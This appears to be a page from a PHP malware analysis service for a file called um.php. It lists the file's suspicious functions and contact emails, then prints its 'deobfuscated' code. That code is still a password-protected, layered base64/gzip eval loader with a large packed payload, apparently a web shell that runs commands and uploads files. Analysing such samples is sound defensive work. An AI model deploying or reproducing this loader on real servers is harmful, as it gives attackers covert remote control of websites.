PHP Malware Analysis

Back to list

Filename: um.php

Tags

Encoding
  • base64_decode
  • base64_encode
URLs
Emails
  • superstar0882@gmail.com
  • superstar0882@hotmail.com
  • document.f.@_.focus
  • darkphoenix@me.com
Execution
  • system
  • eval
  • exec
  • passthru
  • shell_exec
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting
  • php_uname
  • getcwd
  • phpinfo
Files
  • file_get_contents
  • file_put_contents
  • copy
  • move_uploaded_file

Deobfuscated code

<?php

$Pass = "airm";
$name = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$str = "==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